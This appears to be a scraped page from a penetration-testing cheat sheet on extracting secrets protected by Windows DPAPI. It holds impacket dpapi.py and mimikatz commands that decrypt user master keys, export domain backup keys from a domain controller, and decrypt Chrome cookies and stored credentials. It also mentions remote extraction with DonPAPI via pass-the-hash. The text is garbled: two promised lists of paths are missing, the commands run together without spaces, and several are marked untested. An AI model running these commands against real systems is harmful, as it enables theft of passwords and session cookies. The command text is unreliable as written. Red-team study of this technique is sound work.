The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords). The data are stored in the users directory and are secured by user-specific master keys derived from the users password. They are usually located at:
Application like Google Chrome, Outlook, Internet Explorer, Skype use the DPAPI. Windows also uses that API for sensitive information like Wi-Fi passwords, certificates, RDP connection passwords, and many more.
Below are common paths of hidden files that usually contain DPAPI-protected data.
# (not tested) Decrypt a master keydpapi.pymasterkey-file"/path/to/masterkey_file"-sid $USER_SID -password $MASTERKEY_PASSWORD# (not tested) Obtain the backup keys & use it to decrypt a master keydpapi.pybackupkeys-t $DOMAIN/$USER:$PASSWORD@$TARGETdpapi.pymasterkey-file"/path/to/masterkey_file"-pvk"/path/to/backup_key.pvk"# (not tested) Decrypt DPAPI-protected data using a master keydpapi.pycredential-file"/path/to/protected_file"-key $MASTERKEY
DonPAPI (Python) can also be used to remotely extract a user's DPAPI secrets more easily. It supports pass-the-hash, pass-the-ticket and so on.
# Extract and decrypt a master keydpapi::masterkey/in:"C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID"/sid:$SID /password:$PASSWORD /protected# Extract and decrypt all master keyssekurlsa::dpapi# Extract the backup keys & use it to decrypt a master keylsadump::backupkeys/system:$DOMAIN_CONTROLLER /exportdpapi::masterkey/in:"C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID"/pvk:$BACKUP_KEY_EXPORT_PVK# Decrypt Chrome datadpapi::chrome/in:"%localappdata%\Google\Chrome\User Data\Default\Cookies"# Decrypt DPAPI-protected data using a master keydpapi::cred/in:"C:\path\to\encrypted\file"/masterkey:$MASTERKEY